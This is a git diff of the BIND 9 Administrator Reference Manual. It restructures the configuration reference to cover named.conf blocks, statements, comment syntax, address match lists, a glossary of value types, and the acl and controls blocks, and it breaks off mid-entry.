-   to allocate memory, configure a plugin instance, and attach to hook
-   points within
-   ``named``
-   ,
--  ``plugin_destroy``
-   to tear down the plugin instance and free memory,
--  ``plugin_version``
-   to check that the plugin is compatible with the current version of
-   the plugin API,
--  ``plugin_check``
-   to test syntactic correctness of the plugin parameters.
-
-At various locations within the ``named`` source code, there are "hook
-points" at which a plugin may register itself. When a hook point is
-reached while ``named`` is running, it is checked to see whether any
-plugins have registered themselves there; if so, the associated "hook
-action" - a function within the plugin library - is called. Hook
-actions may examine the runtime state and make changes: for example,
-modifying the answers to be sent back to a client or forcing a query to
-be aborted. More details can be found in the file
-``lib/ns/include/ns/hooks.h``.
diff --git a/doc/arm/primary-secondary.dia b/doc/arm/primary-secondary.dia
new file mode 100644
index 0000000000..795625a2d8
Binary files /dev/null and b/doc/arm/primary-secondary.dia differ
diff --git a/doc/arm/primary-secondary.png b/doc/arm/primary-secondary.png
new file mode 100644
index 0000000000..573cb0f182
Binary files /dev/null and b/doc/arm/primary-secondary.png differ
diff --git a/doc/arm/recursive-query.dia b/doc/arm/recursive-query.dia
new file mode 100644
index 0000000000..6b16e01fba
Binary files /dev/null and b/doc/arm/recursive-query.dia differ
diff --git a/doc/arm/recursive-query.png b/doc/arm/recursive-query.png
new file mode 100644
index 0000000000..0c9b20ea47
Binary files /dev/null and b/doc/arm/recursive-query.png differ
diff --git a/doc/arm/reference.rst b/doc/arm/reference.rst
index 6b8cf4422a..1c2c3d4e10 100644
--- a/doc/arm/reference.rst
+++ b/doc/arm/reference.rst
@@ -1,99 +1,215 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
-.. Reference:
+.. _reference:
 
-BIND 9 Configuration Reference
-==============================
+Configuration Reference
+=======================
 
-.. _configuration_file_elements:
+The operational functionality of BIND 9 is defined using the file
+**named.conf**, which is typically located in /etc or /usr/local/etc/namedb,
+depending on the operating system or distribution. A further file **rndc.conf**
+will be present if **rndc** is being run from a remote host, but is not required
+if rndc is being run from **localhost** (the same system as BIND 9 is running
+on).
 
-Configuration File Elements
----------------------------
+.. _named_conf:
 
-Following is a list of elements used throughout the BIND configuration
-file documentation:
+Configuration File (named.conf)
+-------------------------------
+
+The file :file:`named.conf` may contain three types of entities:
 
 .. glossary::
 
-    ``acl_name``
-        The name of an ``address_match_list`` as defined by the ``acl`` statement.
+   Comment
+      :ref:`Multiple comment formats are supported <comment_syntax>`.
+
+   Block
+      :ref:`Blocks <configuration_blocks>` are containers for :term:`statements
+      <Statement>` which either have common functionality - for example,
+      the definition of a cryptographic key in a :namedconf:ref:`key` block - or which
+      define the scope of the statement - for example, a statement which appears
+      in a :namedconf:ref:`zone` block has scope only for that zone.
+
+      Blocks are organized hierarchically within :file:`named.conf` and may have a
+      number of different properties:
+
+      - Certain blocks cannot be nested inside other blocks and thus may be
+        regarded as the *topmost-level* blocks: for example, the
+        :namedconf:ref:`options` block and the :namedconf:ref:`logging` block.
+
+      - Certain blocks can appear multiple times, in which case they have
+        an associated name to disambiguate them: for example, the
+        :namedconf:ref:`zone` block (``zone example.com { ... };``) or the
+        :namedconf:ref:`key` block (``key mykey { ... };``).
+
+      - Certain blocks may be "nested" within other blocks. For example, the
+        :namedconf:ref:`zone` block may appear within a
+        :namedconf:ref:`view` block.
+
+      The description of each block in this manual lists its permissible locations.
+
+   Statement
+      - Statements define and control specific BIND behaviors.
+      - Statements may have a single parameter (a **Value**) or multiple parameters
+        (**Argument/Value** pairs). For example, the :any:`recursion` statement takes a
+        single value parameter - in this case, the string ``yes`` or ``no``
+        (``recursion yes;``) - while the :namedconf:ref:`port` statement takes a  numeric value
+        defining the DNS port number (``port 53;``). More complex statements take one or
+        more argument/value pairs. The :any:`also-notify` statement may take a number
+        of such argument/value pairs, such as ``also-notify port 5353;``,
+        where ``port`` is the argument and ``5353`` is the corresponding value.
+      - Statements can appear in a single :term:`block <Block>` - for
+        example, an :namedconf:ref:`algorithm` statement can appear only in a
+        :namedconf:ref:`key` block - or in multiple blocks - for example, an
+        :any:`also-notify` statement can appear in an :namedconf:ref:`options`
+        block where it has global (server-wide) scope, in a :any:`zone`
+        block where it has scope only for the specific zone (and overrides
+        any global statement), or even in a :any:`view` block where it has
+        scope for only that view (and overrides any global statement).
+
+The file :file:`named.conf` may further contain one or more instances of the
+:ref:`include <include_grammar>` **Directive**. This directive is provided for
+administrative convenience in assembling a complete :file:`named.conf` file and plays
+no subsequent role in BIND 9 operational characteristics or functionality.
+
+.. Note::
+   Over a period of many years the BIND ARM acquired a bewildering array of
+   terminology. Many of the terms used described similar concepts and served
+   only to add a layer of complexity, possibly confusion, and perhaps mystique
+   to BIND 9 configuration. The ARM now uses only the terms **Block**,
+   **Statement**, **Argument**, **Value**, and **Directive** to describe all
+   entities used in BIND 9 configuration.
 
-    ``address_match_list``
-        A list of one or more ``ip_addr``, ``ip_prefix``, ``key_id``, or ``acl_name`` elements; see :ref:`address_match_lists`.
+.. _comment_syntax:
 
-    ``primaries_list``
-        A named list of one or more ``ip_addr`` with optional ``tls_id``, ``key_id`` and/or ``ip_port``. A ``primaries_list`` may include other ``primaries_list``.
+Comment Syntax
+~~~~~~~~~~~~~~
 
-    ``domain_name``
-        A quoted string which is used as a DNS name; for example. ``my.test.domain``.
+The BIND 9 comment syntax allows comments to appear anywhere that
+whitespace may appear in a BIND configuration file. To appeal to
+programmers of all kinds, they can be written in the C, C++, or
+shell/Perl style.
 
-    ``namelist``
-        A list of one or more ``domain_name`` elements.
+Syntax
+^^^^^^
 
-    ``dotted_decimal``
-        One to four integers valued 0 through 255 separated by dots (``.``), such as ``123.45.67`` or ``89.123.45.67``.
+.. code-block:: none
 
-    ``ip4_addr``
-        An IPv4 address with exactly four elements in ``dotted_decimal`` notation.
+   /* This is a BIND comment as in C */
 
-    ``ip6_addr``
-        An IPv6 address, such as ``2001:db8::1234``. IPv6-scoped addresses that have ambiguity on their scope zones must be disambiguated by an appropriate zone ID with the percent character (``%``) as a delimiter. It is strongly recommended to use string zone names rather than numeric identifiers, to be robust against system configuration changes. However, since there is no standard mapping for such names and identifier values, only interface names as link identifiers are supported, assuming one-to-one mapping between interfaces and links. For example, a link-local address ``fe80::1`` on the link attached to the interface ``ne0`` can be specified as ``fe80::1%ne0``. Note that on most systems link-local addresses always have ambiguity and need to be disambiguated.
+.. code-block:: none
 
-    ``ip_addr``
-        An ``ip4_addr`` or ``ip6_addr``.
+   // This is a BIND comment as in C++
 
-    ``ip_dscp``
-        A ``number`` between 0 and 63, used to select a differentiated services code point (DSCP) value for use with outgoing traffic on operating systems that support DSCP.
+.. code-block:: none
 
-    ``ip_port``
-        An IP port ``number``. The ``number`` is limited to 0 through 65535, with values below 1024 typically restricted to use by processes running as root. In some cases, an asterisk (``*``) character can be used as a placeholder to select a random high-numbered port.
+   # This is a BIND comment as in common Unix shells
+   # and Perl
 
-    ``ip_prefix``
-        An IP network specified as an ``ip_addr``, followed by a slash (``/``) and then the number of bits in the netmask. Trailing zeros in an``ip_addr`` may be omitted. For example, ``127/8`` is the network ``127.0.0.0``with netmask ``255.0.0.0`` and ``1.2.3.0/28`` is network ``1.2.3.0`` with netmask ``255.255.255.240``.
-        When specifying a prefix involving a IPv6-scoped address, the scope may be omitted. In that case, the prefix matches packets from any scope.
+Definition and Usage
+^^^^^^^^^^^^^^^^^^^^
 
-    ``key_id``
-        A ``domain_name`` representing the name of a shared key, to be used for transaction security.
+Comments can be inserted anywhere that whitespace may appear in a BIND
+configuration file.
 
-    ``key_list``
-        A list of one or more ``key_id``, separated by semicolons and ending with a semicolon.
+C-style comments start with the two characters /\* (slash, star) and end
+with \*/ (star, slash). Because they are completely delimited with these
+characters, they can be used to comment only a portion of a line or to
+span multiple lines.
 
-    ``tls_id``
-        A string representing a TLS configuration object, including a key and certificate.
+C-style comments cannot be nested. For example, the following is not
+valid because the entire comment ends with the first \*/:
 
-    ``number``
-        A non-negative 32-bit integer (i.e., a number between 0 and 4294967295, inclusive). Its acceptable value might be further limited by the context in which it is used.
+.. code-block:: none
 
-    ``fixedpoint``
-        A non-negative real number that can be specified to the nearest one-hundredth. Up to five digits can be specified before a decimal point, and up to two digits after, so the maximum value is 99999.99. Acceptable values might be further limited by the contexts in which they are used.
+   /* This is the start of a comment.
+      This is still part of the comment.
+   /* This is an incorrect attempt at nesting a comment. */
+      This is no longer in any comment. */
 
-    ``path_name``
-        A quoted string which is used as a pathname, such as ``zones/master/my.test.domain``.
+C++-style comments start with the two characters // (slash, slash) and
+continue to the end of the physical line. They cannot be continued
+across multiple physical lines; to have one logical comment span
+multiple lines, each line must use the // pair. For example:
 
-    ``port_list``
-        A list of an ``ip_port`` or a port range. A port range is specified in the form of ``range`` followed by two ``ip_port``s, ``port_low`` and ``port_high``, which represents port numbers from ``port_low`` through ``port_high``, inclusive. ``port_low`` must not be larger than ``port_high``. For example, ``range 1024 65535`` represents ports from 1024 through 65535. In either case an asterisk (``*``) character is not allowed as a valid ``ip_port``.
+.. code-block:: none
 
-    ``size_spec``
-        A 64-bit unsigned integer, or the keywords ``unlimited`` or ``default``. Integers may take values 0 <= value <= 18446744073709551615, though certain parameters (such as ``max-journal-size``) may use a more limited range within these extremes. In most cases, setting a value to 0 does not literally mean zero; it means "undefined" or "as big as possible," depending on the context. See the explanations of particular parameters that use ``size_spec`` for details on how they interpret its use. Numeric values can optionally be followed by a scaling factor: ``K`` or ``k`` for kilobytes, ``M`` or ``m`` for megabytes, and ``G`` or ``g`` for gigabytes, which scale by 1024, 1024*1024, and 1024*1024*1024 respectively.
-        ``unlimited`` generally means "as big as possible," and is usually the best way to safely set a very large number.
-        ``default`` uses the limit that was in force when the server was started.
+   // This is the start of a comment.  The next line
+   // is a new comment, even though it is logically
+   // part of the previous comment.
 
-    ``size_or_percent``
-         A ``size_spec`` or integer value followed by ``%`` to represent percent. The behavior is exactly the same as ``size_spec``, but ``size_or_percent`` also allows specifying a positive integer value followed by the ``%`` sign to represent percent.
+Shell-style (or Perl-style) comments start with the
+character ``#`` (number/pound sign) and continue to the end of the physical
+line, as in C++ comments. For example:
 
-    ``yes_or_no``
-        Either ``yes`` or ``no``. The words ``true`` and ``false`` are also accepted, as are the numbers ``1`` and ``0``.
+.. code-block:: none
+
+   # This is the start of a comment.  The next line
+   # is a new comment, even though it is logically
+   # part of the previous comment.
+
+.. warning::
+
+   The semicolon (``;``) character cannot start a comment, unlike
+   in a zone file. The semicolon indicates the end of a
+   configuration statement.
+
+Configuration Layout Styles
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+BIND is very picky about opening and closing brackets/braces, semicolons, and
+all the other separators defined in the formal syntaxes in later sections.
+There are many layout styles that can assist in minimizing errors, as shown in
+the following examples:
+
+.. code-block:: none
+
+	// dense single-line style
+	zone "example.com" in{type secondary; file "secondary.example.com"; primaries {10.0.0.1;};};
+	//  single-statement-per-line style
+	zone "example.com" in{
+		type secondary;
+		file "secondary.example.com";
+		primaries {10.0.0.1;};
+	};
+	// spot the difference
+	zone "example.com" in{
+		type secondary;
+	file "sec.secondary.com";
+	primaries {10.0.0.1;}; };
+
+.. _include_grammar:
+
+``include`` Directive
+~~~~~~~~~~~~~~~~~~~~~
+
+.. code-block:: none
+
+   include filename;
+
+.. _include_statement:
+
+``include`` Directive Definition and Usage
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+The include directive inserts the specified file (or files if a valid `glob
+expression`_ is detected) at the point where the include directive is
+encountered. The include directive facilitates the administration of
+configuration files by permitting the reading or writing of some things but not
+others. For example, the statement could include private keys that are readable
+only by the name server.
 
-    ``dialup_option``
-        One of ``yes``, ``no``, ``notify``, ``notify-passive``, ``refresh``, or  ``passive``. When used in a zone, ``notify-passive``, ``refresh``, and ``passive`` are restricted to secondary and stub zones.
+.. _`glob expression`: https://man7.org/linux/man-pages/man7/glob.7.html
 
 .. _address_match_lists:
 
@@ -103,35 +219,44 @@ Address Match Lists
 Syntax
 ^^^^^^
 
+An address match list is a list of semicolon-separated :term:`address_match_element` s.
+
 ::
 
-   address_match_list = address_match_list_element ; ...
+   { <address_match_element>; ... };
+
+Each element is then defined as:
 
-   address_match_list_element = [ ! ] ( ip_address | ip_prefix |
-        key key_id | acl_name | { address_match_list } )
+.. glossary::
+
+   ``address_match_element``
+
+    ::
+
+        [ ! ] ( <ip_address> | <netprefix> | key <server_key> | <acl_name> | { address_match_list } )
 
 Definition and Usage
 ^^^^^^^^^^^^^^^^^^^^
 
 Address match lists are primarily used to determine access control for
-various server operations. They are also used in the ``listen-on`` and
-``sortlist`` statements. The elements which constitute an address match
+various server operations. They are also used in the :any:`listen-on` and
+:any:`sortlist` statements. The elements which constitute an address match
 list can be any of the following:
 
--  an IP address (IPv4 or IPv6)
+- :term:`ip_address`: an IP address (IPv4 or IPv6)
 
--  an IP prefix (in ``/`` notation)
+- :term:`netprefix`: an IP prefix (in ``/`` notation)
 
--  a key ID, as defined by the ``key`` statement
+- :term:`server_key`: a key ID, as defined by the ``key`` statement
 
--  the name of an address match list defined with the ``acl`` statement
+- :term:`acl_name`: the name of an address match list defined with the :any:`acl` statement
 
 -  a nested address match list enclosed in braces
 
 Elements can be negated with a leading exclamation mark (``!``), and the
 match list names "any", "none", "localhost", and "localnets" are
 predefined. More information on those names can be found in the
-description of the ``acl`` statement.
+description of the :any:`acl` statement.
 
 The addition of the key clause made the name of this syntactic element
 something of a misnomer, since security keys can be used to validate
@@ -144,17 +269,17 @@ comparisons require that the list of keys be traversed until a matching
 key is found, and therefore may be somewhat slower.
 
 The interpretation of a match depends on whether the list is being used
-for access control, defining ``listen-on`` ports, or in a ``sortlist``,
+for access control, defining :any:`listen-on` ports, or in a :any:`sortlist`,
 and whether the element was negated.
 
 When used as an access control list, a non-negated match allows access
 and a negated match denies access. If there is no match, access is
-denied. The clauses ``allow-notify``, ``allow-recursion``,
-``allow-recursion-on``, ``allow-query``, ``allow-query-on``,
-``allow-query-cache``, ``allow-query-cache-on``, ``allow-transfer``,
-``allow-update``, ``allow-update-forwarding``, ``blackhole``, and
-``keep-response-order`` all use address match lists. Similarly, the
-``listen-on`` option causes the server to refuse queries on any of
+denied. The clauses :any:`allow-notify`, :any:`allow-recursion`,
+:any:`allow-recursion-on`, :any:`allow-query`, :any:`allow-query-on`,
+:any:`allow-query-cache`, :any:`allow-query-cache-on`, :any:`allow-transfer`,
+:any:`allow-update`, :any:`allow-update-forwarding`, and :any:`blackhole`
+all use address match lists. Similarly, the
+:any:`listen-on` option causes the server to refuse queries on any of
 the machine's addresses which do not match the list.
 
 Order of insertion is significant. If more than one element in an ACL is
@@ -168,161 +293,176 @@ matches any lookup for 1.2.3.13 to the 1.2.3/24 element. Using
 ``! 1.2.3.13; 1.2.3/24`` fixes that problem by blocking 1.2.3.13
 via the negation, but all other 1.2.3.\* hosts pass through.
 
-.. _comment_syntax:
 
-Comment Syntax
-~~~~~~~~~~~~~~
+Glossary of Terms Used
+~~~~~~~~~~~~~~~~~~~~~~
 
-The BIND 9 comment syntax allows comments to appear anywhere that
-whitespace may appear in a BIND configuration file. To appeal to
-programmers of all kinds, they can be written in the C, C++, or
-shell/perl style.
+Following is a list of terms used throughout the BIND configuration
+file documentation:
 
-Syntax
-^^^^^^
+.. glossary::
 
-::
+    ``acl_name``
+        The name of an :term:`address_match_list` as defined by the :any:`acl` statement.
 
-   /* This is a BIND comment as in C */
+    ``address_match_list``
+        See :ref:`address_match_lists`.
 
-::
+    ``boolean``
+        Either ``yes`` or ``no``. The words ``true`` and ``false`` are also accepted, as are the numbers ``1`` and ``0``.
 
-   // This is a BIND comment as in C++
+    ``domain_name``
+        A quoted string which is used as a DNS name; for example: ``my.test.domain``.
 
-::
+    ``duration``
+        A duration in BIND 9 can be written in three ways: as single number
+        representing seconds, as a string of numbers with TTL-style
+        time-unit suffixes, or in ISO 6801 duration format.
 
-   # This is a BIND comment as in common Unix shells
-   # and perl
+        Allowed TTL time-unit suffixes are: "W" (week), "D" (day), "H" (hour),
+        "M" (minute), and "S" (second). Examples: "1W" (1 week), "3d12h"
+        (3 days, 12 hours).
 
-Definition and Usage
-^^^^^^^^^^^^^^^^^^^^
+        ISO 8601 duration format consists of the letter "P", followed by an
+	optional series of numbers with unit suffixes "Y" (year), "M" (month),
+        "W" (week), and "D" (day); this may optionally be followed by the
+        letter "T", and another series of numbers with unit suffixes
+        "H" (hour), "M" (minute), and "S" (second). Examples: "P3M10D"
+        (3 months, 10 days), "P2WT12H" (2 weeks, 12 hours), "pt15m"
+        (15 minutes).  For more information on ISO 8601 duration format,
+        see :rfc:`3339`, appendix A.
 
-Comments may appear anywhere that whitespace may appear in a BIND
-configuration file.
+        Both TTL-style and ISO 8601 duration formats are case-insensitive.
 
-C-style comments start with the two characters /\* (slash, star) and end
-with \*/ (star, slash). Because they are completely delimited with these
-characters, they can be used to comment only a portion of a line or to
-span multiple lines.
+    ``fixedpoint``
+        A non-negative real number that can be specified to the nearest one-hundredth. Up to five digits can be specified before a decimal point, and up to two digits after, so the maximum value is 99999.99. Acceptable values might be further limited by the contexts in which they are used.
 
-C-style comments cannot be nested. For example, the following is not
-valid because the entire comment ends with the first \*/:
+    ``integer``
+        A non-negative 32-bit integer (i.e., a number between 0 and 4294967295, inclusive). Its acceptable value might be further limited by the context in which it is used.
 
-::
+    ``ip_address``
+        An :term:`ipv4_address` or :term:`ipv6_address`.
 
-   /* This is the start of a comment.
-      This is still part of the comment.
-   /* This is an incorrect attempt at nesting a comment. */
-      This is no longer in any comment. */
+    ``ipv4_address``
+        An IPv4 address with exactly four integer elements valued 0 through 255
+        and separated by dots (``.``), such as ``192.168.1.1`` (a
+        "dotted-decimal" notation with all four elements present).
 
-C++-style comments start with the two characters // (slash, slash) and
-continue to the end of the physical line. They cannot be continued
-across multiple physical lines; to have one logical comment span
-multiple lines, each line must use the // pair. For example:
+    ``ipv6_address``
+        An IPv6 address, such as ``2001:db8::1234``. IPv6-scoped addresses that have ambiguity on their scope zones must be disambiguated by an appropriate zone ID with the percent character (``%``) as a delimiter. It is strongly recommended to use string zone names rather than numeric identifiers, to be robust against system configuration changes. However, since there is no standard mapping for such names and identifier values, only interface names as link identifiers are supported, assuming one-to-one mapping between interfaces and links. For example, a link-local address ``fe80::1`` on the link attached to the interface ``ne0`` can be specified as ``fe80::1%ne0``. Note that on most systems link-local addresses always have ambiguity and need to be disambiguated.
 
-::
+    ``netprefix``
+        An IP network specified as an :term:`ip_address`, followed by a slash (``/``) and then the number of bits in the netmask. Trailing zeros in an :term:`ip_address` may be omitted. For example, ``127/8`` is the network ``127.0.0.0`` with netmask ``255.0.0.0`` and ``1.2.3.0/28`` is network ``1.2.3.0`` with netmask ``255.255.255.240``.
+        When specifying a prefix involving an IPv6-scoped address, the scope may be omitted. In that case, the prefix matches packets from any scope.
 
-   // This is the start of a comment.  The next line
-   // is a new comment, even though it is logically
-   // part of the previous comment.
+    ``percentage``
+         An integer value followed by ``%`` to represent percent.
 
-Shell-style (or perl-style) comments start with the
-character ``#`` (number sign) and continue to the end of the physical
-line, as in C++ comments. For example:
+    ``port``
+        An IP port :term:`integer`. It is limited to 0 through 65535, with values below 1024 typically restricted to use by processes running as root. In some cases, an asterisk (``*``) character can be used as a placeholder to select a random high-numbered port.
 
-::
+    ``portrange``
+        A list of a :term:`port` or a port range. A port range is specified in the form of ``range`` followed by two :term:`port` s, ``port_low`` and ``port_high``, which represents port numbers from ``port_low`` through ``port_high``, inclusive. ``port_low`` must not be larger than ``port_high``. For example, ``range 1024 65535`` represents ports from 1024 through 65535. The asterisk (``*``) character is not allowed as a valid :term:`port` or as a port range boundary.
 
-   # This is the start of a comment.  The next line
-   # is a new comment, even though it is logically
-   # part of the previous comment.
+    ``remote-servers``
+        A named list of one or more :term:`ip_address` es with optional :term:`tls_id`, :term:`server_key`, and/or :term:`port`. A ``remote-servers`` list may include other ``remote-servers`` lists. See :any:`primaries` block.
 
-..
+    ``server_key``
+        A :term:`domain_name` representing the name of a shared key, to be used for
+        :ref:`transaction security <tsig>`. Keys are defined using
+        :namedconf:ref:`key` blocks.
 
-.. warning::
+    ``size``
+    ``sizeval``
+        A 64-bit unsigned integer. Integers may take values 0 <= value <= 18446744073709551615, though certain parameters (such as :any:`max-journal-size`) may use a more limited range within these extremes. In most cases, setting a value to 0 does not literally mean zero; it means "undefined" or "as big as possible," depending on the context. See the explanations of particular parameters that use ``size`` for details on how they interpret its use. Numeric values can optionally be followed by a scaling factor: ``K`` or ``k`` for kilobytes, ``M`` or ``m`` for megabytes, and ``G`` or ``g`` for gigabytes, which scale by 1024, 1024*1024, and 1024*1024*1024 respectively.
 
-   The semicolon (``;``) character cannot start a comment, unlike
-   in a zone file. The semicolon indicates the end of a
-   configuration statement.
+        Some statements also accept the keywords ``unlimited`` or ``default``:
+        ``unlimited`` generally means "as big as possible," and is usually the best way to safely set a very large number.
+        ``default`` uses the limit that was in force when the server was started.
 
-.. _Configuration_File_Grammar:
+    ``tls_id``
+        A named TLS configuration object which defines a TLS key and certificate. See :any:`tls` block.
 
-Configuration File Grammar
---------------------------
 
-A BIND 9 configuration consists of statements and comments. Statements
-end with a semicolon; statements and comments are the only elements that
-can appear without enclosing braces. Many statements contain a block of
-sub-statements, which are also terminated with a semicolon.
+.. _configuration_file_grammar:
 
-The following statements are supported:
+.. _configuration_blocks:
 
-    ``acl``
-        Defines a named IP address matching list, for access control and other uses.
+Blocks
+------
 
-    ``controls``
-        Declares control channels to be used by the ``rndc`` utility.
+A BIND 9 configuration consists of blocks, statements, and comments.
 
-    ``dnssec-policy``
-        Describes a DNSSEC key and signing policy for zones. See :ref:`dnssec-policy Grammar <dnssec_policy_grammar>` for details.
+The following blocks are supported:
 
-    ``include``
-        Includes a file.
+    :any:`acl`
+        Defines a named IP address matching list, for access control and other uses.
 
-    ``key``
+    :any:`controls`
+        Declares control channels to be used by the :iscman:`rndc` utility.
+
+    :any:`dnssec-policy`
+        Describes a DNSSEC key and signing policy for zones. See :any:`dnssec-policy` for details.
+
+    :namedconf:ref:`key`
         Specifies key information for use in authentication and authorization using TSIG.
 
-    ``logging``
+    :any:`logging`
         Specifies what information the server logs and where the log messages are sent.
 
     ``masters``
-        Synonym for ``primaries``.
+        Synonym for :any:`primaries`.
 
-    ``options``
+    :namedconf:ref:`options`
         Controls global server configuration options and sets defaults for other statements.
 
-    ``primaries``
-        Defines a named list of servers for inclusion in stub and secondary zones' ``primaries`` or ``also-notify`` lists. (Note: this is a synonym for the original keyword ``masters``, which can still be used, but is no longer the preferred terminology.)
+    :any:`parental-agents`
+        Defines a named list of servers for inclusion in primary and secondary zones' :any:`parental-agents` lists.
 
-    ``server``
+    :any:`primaries`
+        Defines a named list of servers for inclusion in stub and secondary zones' :any:`primaries` or :any:`also-notify` lists. (Note: this is a synonym for the original keyword ``masters``, which can still be used, but is no longer the preferred terminology.)
+
+    :namedconf:ref:`server`
         Sets certain configuration options on a per-server basis.
 
-    ``statistics-channels``
-        Declares communication channels to get access to ``named`` statistics.
+    :any:`statistics-channels`
+        Declares communication channels to get access to :iscman:`named` statistics.
+
+    :any:`tls`
+        Specifies configuration information for a TLS connection, including a :any:`key-file`, :any:`cert-file`, :any:`ca-file`, :any:`dhparam-file`, :any:`remote-hostname`, :any:`ciphers`, :any:`protocols`, :any:`prefer-server-ciphers`, and :any:`session-tickets`.
 
-    ``tls``
-        Specifies configuration information for a TLS connection, including a ``key-file``, ``cert-file``, ``ca-file`` and ``hostname``.
+    :any:`http`
+        Specifies configuration information for an HTTP connection, including :any:`endpoints`, :any:`listener-clients`, and :any:`streams-per-connection`.
 
-    ``trust-anchors``
+    :any:`trust-anchors`
         Defines DNSSEC trust anchors: if used with the ``initial-key`` or ``initial-ds`` keyword, trust anchors are kept up-to-date using :rfc:`5011` trust anchor maintenance; if used with ``static-key`` or ``static-ds``, keys are permanent.
 
-    ``managed-keys``
-        Is identical to ``trust-anchors``; this option is deprecated in favor of ``trust-anchors`` with the ``initial-key`` keyword, and may be removed in a future release.
+    :any:`managed-keys`
+        Is identical to :any:`trust-anchors`; this option is deprecated in favor of :any:`trust-anchors` with the ``initial-key`` keyword, and may be removed in a future release.
 
-    ``trusted-keys``
-        Defines permanent trusted DNSSEC keys; this option is deprecated in favor of ``trust-anchors`` with the ``static-key`` keyword, and may be removed in a future release.
+    :any:`trusted-keys`
+        Defines permanent trusted DNSSEC keys; this option is deprecated in favor of :any:`trust-anchors` with the ``static-key`` keyword, and may be removed in a future release.
 
-    ``view``
+    :any:`view`
         Defines a view.
 
-    ``zone``
+    :any:`zone`
         Defines a zone.
 
-The ``logging`` and ``options`` statements may only occur once per
+The :any:`logging` and :namedconf:ref:`options` statements may only occur once per
 configuration.
 
-.. _acl_grammar:
-
-``acl`` Statement Grammar
+:any:`acl` Block Grammar
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. include:: ../misc/acl.grammar.rst
-
-.. _acl:
+.. namedconf:statement:: acl
+   :tags: server
+   :short: Assigns a symbolic name to an address match list.
 
-``acl`` Statement Definition and Usage
+:any:`acl` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``acl`` statement assigns a symbolic name to an address match list.
+The :any:`acl` statement assigns a symbolic name to an address match list.
 It gets its name from one of the primary uses of address match lists: Access
 Control Lists (ACLs).
 
@@ -340,146 +480,140 @@ The following ACLs are built-in:
     ``localnets``
         Matches any host on an IPv4 or IPv6 network for which the system has an interface. When addresses are added or removed, the ``localnets`` ACL element is updated to reflect the changes. Some systems do not provide a way to determine the prefix lengths of local IPv6 addresses; in such cases, ``localnets`` only matches the local IPv6 addresses, just like ``localhost``.
 
-.. _controls_grammar:
-
-``controls`` Statement Grammar
+:any:`controls` Block Grammar
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: controls
+   :tags: server
+   :short: Specifies control channels to be used to manage the name server.
 
-.. include:: ../misc/controls.grammar.rst
-
-.. _controls_statement_definition_and_usage:
-
-``controls`` Statement Definition and Usage
+:any:`controls` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``controls`` statement declares control channels to be used by
+The :any:`controls` statement declares control channels to be used by
 system administrators to manage the operation of the name server. These
-control channels are used by the ``rndc`` utility to send commands to
+control channels are used by the :iscman:`rndc` utility to send commands to
 and retrieve non-DNS results from a name server.
 
-An ``inet`` control channel is a TCP socket listening at the specified
-``ip_port`` on the specified ``ip_addr``, which can be an IPv4 or IPv6
-address. An ``ip_addr`` of ``*`` (asterisk) is interpreted as the IPv4
-wildcard address; connections are accepted on any of the system's
-IPv4 addresses. To listen on the IPv6 wildcard address, use an
-``ip_addr`` of ``::``. If ``rndc`` is only used on the local host,
-using the loopback address (``127.0.0.1`` or ``::1``) is recommended for
-maximum security.
-
-If no port is specified, port 953 is used. The asterisk ``*`` cannot
-be used for ``ip_port``.
-
-The ability to issue commands over the control channel is restricted by
-the ``allow`` and ``keys`` clauses. Connections to the control channel
-are permitted based on the ``address_match_list``. This is for simple IP
-address-based filtering only; any ``key_id`` elements of the
-``address_match_list`` are ignored.
-
-A ``unix`` control channel is a Unix domain socket listening at the
-specified path in the file system. Access to the socket is specified by
-the ``perm``, ``owner``, and ``group`` clauses. Note that on some platforms
-(SunOS and Solaris), the permissions (``perm``) are applied to the parent
-directory as the permissions on the socket itself are ignored.
-
-The primary authorization mechanism of the command channel is the
-``key_list``, which contains a list of ``key_id``s. Each ``key_id`` in
-the ``key_list`` is authorized to execute commands over the control
-channel. See :ref:`admin_tools` for information about
-configuring keys in ``rndc``.
-
-If the ``read-only`` clause is enabled, the control channel is limited
-to the following set of read-only commands: ``nta -dump``, ``null``,
-``status``, ``showzone``, ``testgen``, and ``zonestatus``. By default,
-``read-only`` is not enabled and the control channel allows read-write
-access.
-
-If no ``controls`` statement is present, ``named`` sets up a default
+.. namedconf:statement:: unix
+   :tags: server
+   :short: Specifies a Unix domain socket as a control channel.
+
+   A :any:`unix` control channel is a Unix domain socket listening at the
+   specified path in the file system. Access to the socket is specified by
+   the ``perm``, ``owner``, and ``group`` clauses. Note that on some platforms
+   (SunOS and Solaris), the permissions (``perm``) are applied to the parent
+   directory as the permissions on the socket itself are ignored.
+
+
+.. namedconf:statement:: inet
+   :tags: server
+   :short: Specifies a TCP socket as a control channel.
+
+   An :any:`inet` control channel is a TCP socket listening at the specified
+   :term:`port` on the specified :term:`ip_address`, which can be an IPv4 or IPv6
+   address. An :term:`ip_address` of ``*`` (asterisk) is interpreted as the IPv4
+   wildcard address; connections are accepted on any of the system's
+   IPv4 addresses. To listen on the IPv6 wildcard address, use an
+   :term:`ip_address` of ``::``. If :iscman:`rndc` is only used on the local host,
+   using the loopback address (``127.0.0.1`` or ``::1``) is recommended for
+   maximum security.
+
+   If no port is specified, port 953 is used. The asterisk ``*`` cannot
+   be used for :term:`port`.
+
+   The ability to issue commands over the control channel is restricted by
+   the ``allow`` and :any:`keys` clauses.
+
+   ``allow``
+      Connections to the control channel
